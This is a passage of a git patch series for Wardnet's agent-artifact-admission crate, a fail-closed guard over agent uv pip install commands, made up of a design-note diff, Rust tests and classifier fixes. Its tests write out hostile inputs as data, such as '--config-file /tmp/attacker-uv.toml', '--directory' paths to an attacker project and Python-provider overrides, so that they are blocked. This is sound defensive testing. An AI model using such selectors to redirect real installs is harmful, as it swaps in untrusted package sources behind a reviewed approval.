records the original hostile case. Test-only commit `a718e68bd7f13df9d54f5bd85ef7cde781d4827d`, stacked directly on canonical Agent Artifact Admission #129, added an otherwise-approved uv install plus attached and separate configuration-file selectors after `uv pip install`. Hosted CI run `34490519712`, rust job `102915749368`, passed checkout, Rust setup and formatting, then failed in the test phase. The causal repair in #265 introduced the Wardnet-local configuration-authority classifier for that supported command placement. + +Successor review on canonical `#129@3f89f56c2de9039e9e6a9e34e4c6686f0eaf6da2` then found a placement-specific evidence defect: because the classifier first required fixed-position `uv pip install`, documented global forms such as `uv --config-file /tmp/attacker-uv.toml pip install ...` remained blocked only by the generic command grammar and did not carry `alternate_trust_root`. + +Successor test-only exact `b69312002943ff419152dd58dbc1880649120e44` added hermetic separate-value and attached-value global forms plus a near-spelling negative semantic control while production source remained byte-identical. Hosted CI `34715293235`, rust job `103611334897`, passed checkout, toolchain and formatting and then failed in the Test step; Clippy was skipped. That is the causal RED for missing security evidence rather than runner/bootstrap noise. -The causal repair is a Wardnet-local classifier for only the supported `uv pip install` command. Both `--config-file` and `--config-file=` map to the existing stable `alternate_trust_root` reason and force `Block`. The implementation deliberately does not read the file or reproduce uv's configuration hierarchy. +The minimum successor repair recognizes exact `--config-file` and `--config-file=...` together with the already-bound global `--directory` selector before fixed subcommand-position validation. It leaves `supported_install_command` unchanged, so an otherwise unsupported global-option command remains generically forbidden in addition to carrying the causal `alternate_trust_root` reason. `--torch-backend` remains scoped to the currently supported fixed-position `uv pip install` grammar. No ambient configuration is inferred and no selected file is read. ## Risk and follow-up The CLI selector is only one configuration channel. Environment-provided configuration such as `UV_CONFIG_FILE`, inherited user/system files, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. -A child merge into #129 is not protected-product completion. #264 remains open until the integrated Agent Artifact Admission lineage reaches protected `main`, and the successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. +A child merge into #129 is not protected-product completion. #264 remains open until the integrated Agent Artifact Admission lineage reaches protected `main`, and each successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. ## Traceability - CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration selector is treated here as an admission authority change rather than ordinary argument detail. - NIST SSDF PW.4 requires reusable security controls and secure coding practices to prevent common vulnerabilities; the fail-closed classifier is a narrow preventive control at the command-admission boundary. -- Astral's uv CLI reference is authoritative for `uv pip install --config-file`; Astral's configuration-file documentation is authoritative for configuration-defined package indexes. +- Astral's uv CLI reference is authoritative for the global `--config-file` selector; Astral's configuration-file documentation is authoritative for configuration-defined package indexes. ## References -Astral Software, Inc. (2026). *Commands: uv pip install*. https://docs.astral.sh/uv/reference/cli/ +Astral Software, Inc. (2026). *uv command-line reference*. https://docs.astral.sh/uv/reference/cli/ Astral Software, Inc. (2026). *Configuration files*. https://docs.astral.sh/uv/configuration/files/ From 26514cdb9f9df9b0d03d39e33673c7d482113d3c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:06:05 +0900 Subject: [PATCH 563/702] test(admission): expose global uv Python-provider evidence gap --- .../uv_managed_python_authority_contract.rs | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index 99927a40..1bdd49dd 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -34,6 +34,68 @@ fn uv_system_python_search_mode_cannot_inherit_artifact_approval() { assert_python_provider_selection_is_blocked(&policy, &intent); } +#[test] +fn uv_global_python_provider_modes_preserve_causal_install_root_evidence() { + for option in ["--managed-python", "--no-managed-python"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + option.to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "global uv Python-provider authority must remain fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "documented global {option} must preserve causal interpreter/install-root evidence; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); + } +} + +#[test] +fn uv_global_python_provider_near_spellings_do_not_inherit_authority_semantics() { + for option in ["--managed-pytho", "--no-managed-pytho"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + option.to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "unreviewed near spelling {option} must not inherit uv Python-provider semantics" + ); + } +} + fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); From c9fa1bf46e5d2854cdfb962d115a25db434e977b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:08:48 +0900 Subject: [PATCH 564/702] security(admission): preserve global uv Python-provider evidence --- .../src/pypi_python_interpreter_authority.rs | 64 +++++++++++-------- 1 file changed, 37 insertions(+), 27 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index e6b29cb0..f82f8e47 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -107,36 +107,31 @@ pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( false } -/// Detect caller-selected uv Python-provider authority for exact `uv pip install` intents. +/// Detect caller-selected uv Python-provider authority in uv option grammar. /// -/// uv's `--managed-python` and `--no-managed-python` flags determine whether the -/// interpreter search is constrained to uv-managed Python installations or to -/// system Python. Wardnet binds that caller-selected provider policy as admission -/// authority only; it does not discover, download, launch, inspect, or mutate an -/// interpreter or environment. uv spellings are matched exactly rather than -/// inheriting direct-pip `optparse` abbreviation semantics, and `--` terminates -/// option classification. +/// uv documents `--managed-python` and `--no-managed-python` as global options, +/// while also accepting them in the `uv pip install` option stream. Either form +/// changes which Python provider may satisfy the install, so Wardnet records that +/// causal install-root authority even when the surrounding command is otherwise +/// rejected. This classifier never widens Wardnet's supported install-command +/// grammar and never discovers, downloads, launches, inspects, or mutates Python. +/// Exact spellings are required, and `--` terminates option classification. pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallIntent) -> bool { - if intent.argv.first().map(String::as_str) != Some("uv") - || intent.argv.get(1).map(String::as_str) != Some("pip") - || intent.argv.get(2).map(String::as_str) != Some("install") - { + if intent.argv.first().map(String::as_str) != Some("uv") { return false; } - for argument in intent.argv.iter().skip(3) { - if argument == "--" { - break; - } - if matches!( - argument.as_str(), - "--managed-python" | "--no-managed-python" - ) { - return true; - } - } - - false + intent + .argv + .iter() + .skip(1) + .take_while(|argument| argument.as_str() != "--") + .any(|argument| { + matches!( + argument.as_str(), + "--managed-python" | "--no-managed-python" + ) + }) } #[cfg(test)] @@ -249,9 +244,24 @@ mod tests { #[test] fn uv_python_provider_authority_is_exact_and_stops_at_option_terminator() { - for option in ["--managed-python", "--no-managed-python"] { + for argv in [ + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--managed-python", + ], + vec![ + "uv", + "--no-managed-python", + "pip", + "install", + "cwl-example==1.2.3", + ], + ] { assert!(requests_unapproved_uv_python_provider_authority( - &test_intent(vec!["uv", "pip", "install", "cwl-example==1.2.3", option,]) + &test_intent(argv) )); } From 208685c4a483517d67590c714cdbe6f5059a270e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:21:19 +0900 Subject: [PATCH 565/702] test(admission): expose uv run child-argument evidence leak --- .../uv_managed_python_authority_contract.rs | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index 1bdd49dd..d3baf7fd 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -96,6 +96,43 @@ fn uv_global_python_provider_near_spellings_do_not_inherit_authority_semantics() } } +#[test] +fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { + for option in ["--managed-python", "--no-managed-python"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "python".to_string(), + option.to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv run remains outside Wardnet's supported artifact-install grammar" + ); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail closed" + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "child-program argument {option} must not be misclassified as uv Python-provider authority; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); + } +} + fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); From 7f178d6075a631e1f19867994cc84f1893601cfd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:22:53 +0900 Subject: [PATCH 566/702] test(admission): format uv run child evidence RED --- .../tests/uv_managed_python_authority_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index d3baf7fd..8cfa1822 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -115,7 +115,9 @@ fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { "uv run remains outside Wardnet's supported artifact-install grammar" ); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "unsupported uv run must remain fail closed" ); assert!( From f49a832efa6ba378a9c2d84b8551867679f00ef8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:31:05 +0900 Subject: [PATCH 567/702] fix(admission): scope uv provider evidence to owned argv --- .../src/pypi_python_interpreter_authority.rs | 55 +++++++++++++++---- 1 file changed, 45 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index f82f8e47..2f06f33c 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -107,24 +107,49 @@ pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( false } -/// Detect caller-selected uv Python-provider authority in uv option grammar. +/// Detect caller-selected uv Python-provider authority in uv-owned option grammar. /// /// uv documents `--managed-python` and `--no-managed-python` as global options, -/// while also accepting them in the `uv pip install` option stream. Either form -/// changes which Python provider may satisfy the install, so Wardnet records that -/// causal install-root authority even when the surrounding command is otherwise -/// rejected. This classifier never widens Wardnet's supported install-command -/// grammar and never discovers, downloads, launches, inspects, or mutates Python. -/// Exact spellings are required, and `--` terminates option classification. +/// while also accepting them in the `uv pip install` option stream. `uv run` is +/// different: once its child command starts, remaining arguments belong to that +/// child and are not uv options. Wardnet therefore records provider authority only +/// before a `uv run` child command (or elsewhere in uv-owned option grammar). This +/// classifier never widens Wardnet's supported install-command grammar and never +/// discovers, downloads, launches, inspects, or mutates Python. Exact spellings +/// are required, and `--` terminates option classification. pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallIntent) -> bool { if intent.argv.first().map(String::as_str) != Some("uv") { return false; } - intent - .argv + let arguments = &intent.argv[1..]; + let run_index = arguments.iter().position(|argument| argument == "run"); + let pip_index = arguments.iter().position(|argument| argument == "pip"); + + if let Some(run_index) = run_index.filter(|run_index| { + pip_index.is_none_or(|pip_index| pip_index > *run_index) + }) { + let child_index = arguments + .iter() + .enumerate() + .skip(run_index + 1) + .find_map(|(index, argument)| (!argument.starts_with('-')).then_some(index)) + .unwrap_or(arguments.len()); + + return arguments[..run_index] + .iter() + .chain(arguments[run_index + 1..child_index].iter()) + .take_while(|argument| argument.as_str() != "--") + .any(|argument| { + matches!( + argument.as_str(), + "--managed-python" | "--no-managed-python" + ) + }); + } + + arguments .iter() - .skip(1) .take_while(|argument| argument.as_str() != "--") .any(|argument| { matches!( @@ -289,6 +314,16 @@ mod tests { )); } + #[test] + fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { + assert!(requests_unapproved_uv_python_provider_authority( + &test_intent(vec!["uv", "run", "--managed-python", "python"]) + )); + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(vec!["uv", "run", "python", "--managed-python"]) + )); + } + fn test_intent(argv: Vec<&str>) -> InstallIntent { InstallIntent { request_id: "req-python-normalizer".to_string(), From 26528f04b3ef9136fa30d57dc1b594b69a1a98f5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:33:25 +0900 Subject: [PATCH 568/702] style(admission): apply rustfmt to uv provider scope --- .../src/pypi_python_interpreter_authority.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index 2f06f33c..00352e68 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -126,9 +126,9 @@ pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallI let run_index = arguments.iter().position(|argument| argument == "run"); let pip_index = arguments.iter().position(|argument| argument == "pip"); - if let Some(run_index) = run_index.filter(|run_index| { - pip_index.is_none_or(|pip_index| pip_index > *run_index) - }) { + if let Some(run_index) = + run_index.filter(|run_index| pip_index.is_none_or(|pip_index| pip_index > *run_index)) + { let child_index = arguments .iter() .enumerate() From 79aacb11d1ac5d1ecb3cb6b46d761768fc98b90d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:35:15 +0900 Subject: [PATCH 569/702] test(admission): expose uv run value-option boundary --- .../uv_managed_python_authority_contract.rs | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index 8cfa1822..0717bbd1 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -135,6 +135,47 @@ fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { } } +#[test] +fn uv_run_value_options_do_not_hide_uv_owned_python_provider_authority() { + for option in ["--managed-python", "--no-managed-python"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--python".to_string(), + "3.12".to_string(), + option.to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv run remains outside Wardnet's supported artifact-install grammar" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "uv-owned provider option {option} after the value-taking --python option must retain causal authority evidence; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); + } +} + fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); From fc75035fa5f4c7dc1719d67b3030d0fdaeba13c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:36:56 +0900 Subject: [PATCH 570/702] test(admission): isolate uv run value-option RED --- .../uv_managed_python_authority_contract.rs | 53 +++++-------------- 1 file changed, 12 insertions(+), 41 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index 0717bbd1..cba2ed6d 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -109,17 +109,8 @@ fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "uv run remains outside Wardnet's supported artifact-install grammar" - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand), - "unsupported uv run must remain fail closed" - ); + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); assert!( !decision .reason_codes @@ -129,8 +120,7 @@ fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { ); assert_eq!( decision.command_sha256, - sha256_hex(intent.argv.join("\u{1f}").as_bytes()), - "audit identity must remain bound to exact submitted argv" + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) ); } } @@ -142,36 +132,26 @@ fn uv_run_value_options_do_not_hide_uv_owned_python_provider_authority() { intent.argv = vec![ "uv".to_string(), "run".to_string(), - "--python".to_string(), - "3.12".to_string(), + "--color".to_string(), + "auto".to_string(), option.to_string(), "python".to_string(), ]; let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "uv run remains outside Wardnet's supported artifact-install grammar" - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand), - "unsupported uv run must remain fail closed" - ); + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); assert!( decision .reason_codes .contains(&ReasonCode::AlternateInstallRoot), - "uv-owned provider option {option} after the value-taking --python option must retain causal authority evidence; got {:?}", + "uv-owned provider option {option} after the value-taking --color option must retain causal authority evidence; got {:?}", decision.reason_codes ); assert_eq!( decision.command_sha256, - sha256_hex(intent.argv.join("\u{1f}").as_bytes()), - "audit identity must remain bound to exact submitted argv" + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) ); } } @@ -179,20 +159,11 @@ fn uv_run_value_options_do_not_hide_uv_owned_python_provider_authority() { fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "caller-selected uv Python-provider authority must not inherit reviewed artifact approval" - ); - assert_eq!( - decision.reason_codes, - vec![ReasonCode::AlternateInstallRoot], - "uv Python-provider selection must fail causally as caller-selected interpreter/install-root authority" - ); + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::AlternateInstallRoot]); assert_eq!( decision.command_sha256, - sha256_hex(intent.argv.join("\u{1f}").as_bytes()), - "audit identity must remain bound to exact submitted argv" + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) ); } From 1ee7ee5c5dc94bceeadd951ebe499f81db16de21 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:38:38 +0900 Subject: [PATCH 571/702] style(admission): format uv run value-option RED --- .../uv_managed_python_authority_contract.rs | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index cba2ed6d..59320b04 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -110,7 +110,11 @@ fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( !decision .reason_codes @@ -141,7 +145,11 @@ fn uv_run_value_options_do_not_hide_uv_owned_python_provider_authority() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( decision .reason_codes @@ -160,7 +168,10 @@ fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: let decision = admission_decision(policy, intent); assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!(decision.reason_codes, vec![ReasonCode::AlternateInstallRoot]); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); assert_eq!( decision.command_sha256, sha256_hex(intent.argv.join("\u{1f}").as_bytes()) From e5783855c4f166f8be3d4b90633229925c193c66 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:40:15 +0900 Subject: [PATCH 572/702] test(admission): bound uv provider evidence to install grammar --- .../uv_managed_python_authority_contract.rs | 98 +++++++------------ 1 file changed, 35 insertions(+), 63 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs index 59320b04..d619502b 100644 --- a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -97,70 +97,42 @@ fn uv_global_python_provider_near_spellings_do_not_inherit_authority_semantics() } #[test] -fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { +fn unsupported_uv_run_never_inherits_install_authority_semantics() { for option in ["--managed-python", "--no-managed-python"] { - let (policy, mut intent) = approved_uv_install(); - intent.argv = vec![ - "uv".to_string(), - "run".to_string(), - "python".to_string(), - option.to_string(), - ]; - - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand) - ); - assert!( - !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot), - "child-program argument {option} must not be misclassified as uv Python-provider authority; got {:?}", - decision.reason_codes - ); - assert_eq!( - decision.command_sha256, - sha256_hex(intent.argv.join("\u{1f}").as_bytes()) - ); - } -} - -#[test] -fn uv_run_value_options_do_not_hide_uv_owned_python_provider_authority() { - for option in ["--managed-python", "--no-managed-python"] { - let (policy, mut intent) = approved_uv_install(); - intent.argv = vec![ - "uv".to_string(), - "run".to_string(), - "--color".to_string(), - "auto".to_string(), - option.to_string(), - "python".to_string(), - ]; - - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand) - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot), - "uv-owned provider option {option} after the value-taking --color option must retain causal authority evidence; got {:?}", - decision.reason_codes - ); - assert_eq!( - decision.command_sha256, - sha256_hex(intent.argv.join("\u{1f}").as_bytes()) - ); + for argv in [ + vec!["uv", "run", option, "python"], + vec!["uv", "run", "python", option], + vec!["uv", "--color", "auto", "run", option, "python"], + vec!["uv", option, "run", "python"], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv run remains outside Wardnet's artifact-install grammar" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "unsupported uv run must not be parsed by the install-authority classifier for {option}; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); + } } } From 26f33f878f547eb815aa6eeedca4770742953111 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 05:42:04 +0900 Subject: [PATCH 573/702] fix(admission): keep uv run outside install authority --- .../src/pypi_python_interpreter_authority.rs | 64 +++++++++---------- 1 file changed, 30 insertions(+), 34 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index 00352e68..e07d655c 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -107,16 +107,17 @@ pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( false } -/// Detect caller-selected uv Python-provider authority in uv-owned option grammar. +/// Detect caller-selected uv Python-provider authority only within Wardnet's +/// artifact-install policy grammar. /// -/// uv documents `--managed-python` and `--no-managed-python` as global options, -/// while also accepting them in the `uv pip install` option stream. `uv run` is -/// different: once its child command starts, remaining arguments belong to that -/// child and are not uv options. Wardnet therefore records provider authority only -/// before a `uv run` child command (or elsewhere in uv-owned option grammar). This -/// classifier never widens Wardnet's supported install-command grammar and never -/// discovers, downloads, launches, inspects, or mutates Python. Exact spellings -/// are required, and `--` terminates option classification. +/// Wardnet supports `uv pip install`; `uv run` remains an unsupported command and +/// is classified causally by the command guard. This helper therefore must not +/// interpret `uv run` option or child-command grammar, even when a provider flag +/// appears before the child. Keeping that boundary avoids duplicating uv's command +/// parser and prevents unrelated child arguments from becoming install-root +/// security evidence. Exact `--managed-python` and `--no-managed-python` spellings +/// remain authority evidence on `uv pip install` paths, including global options +/// that precede `pip`. `--` terminates option classification. pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallIntent) -> bool { if intent.argv.first().map(String::as_str) != Some("uv") { return false; @@ -126,26 +127,8 @@ pub(crate) fn requests_unapproved_uv_python_provider_authority(intent: &InstallI let run_index = arguments.iter().position(|argument| argument == "run"); let pip_index = arguments.iter().position(|argument| argument == "pip"); - if let Some(run_index) = - run_index.filter(|run_index| pip_index.is_none_or(|pip_index| pip_index > *run_index)) - { - let child_index = arguments - .iter() - .enumerate() - .skip(run_index + 1) - .find_map(|(index, argument)| (!argument.starts_with('-')).then_some(index)) - .unwrap_or(arguments.len()); - - return arguments[..run_index] - .iter() - .chain(arguments[run_index + 1..child_index].iter()) - .take_while(|argument| argument.as_str() != "--") - .any(|argument| { - matches!( - argument.as_str(), - "--managed-python" | "--no-managed-python" - ) - }); + if run_index.is_some_and(|run_index| pip_index.is_none_or(|pip_index| run_index < pip_index)) { + return false; } arguments @@ -315,12 +298,25 @@ mod tests { } #[test] - fn uv_run_child_arguments_do_not_inherit_python_provider_authority() { + fn unsupported_uv_run_does_not_inherit_install_authority_semantics() { + for argv in [ + vec!["uv", "run", "--managed-python", "python"], + vec!["uv", "run", "python", "--managed-python"], + vec!["uv", "--managed-python", "run", "python"], + ] { + assert!(!requests_unapproved_uv_python_provider_authority( + &test_intent(argv) + )); + } + assert!(requests_unapproved_uv_python_provider_authority( - &test_intent(vec!["uv", "run", "--managed-python", "python"]) - )); - assert!(!requests_unapproved_uv_python_provider_authority( - &test_intent(vec!["uv", "run", "python", "--managed-python"]) + &test_intent(vec![ + "uv", + "--managed-python", + "pip", + "install", + "cwl-example==1.2.3", + ]) )); } From d4b835fdba12637a52c06e3d4c13c41534d4918e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:02:04 +0900 Subject: [PATCH 574/702] test(admission): expose uv run configuration evidence bleed --- .../uv_configuration_parser_phase_contract.rs | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs new file mode 100644 index 00000000..1e559deb --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs @@ -0,0 +1,87 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn unsupported_uv_run_child_argv_does_not_inherit_install_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec![ + "uv", + "run", + "python", + "--config-file=/tmp/attacker-uv.toml", + ], + vec!["uv", "run", "python", "--config-file", "/tmp/attacker-uv.toml"], + vec!["uv", "run", "python", "--directory=/tmp/attacker-project"], + vec!["uv", "run", "python", "--directory", "/tmp/attacker-project"], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + 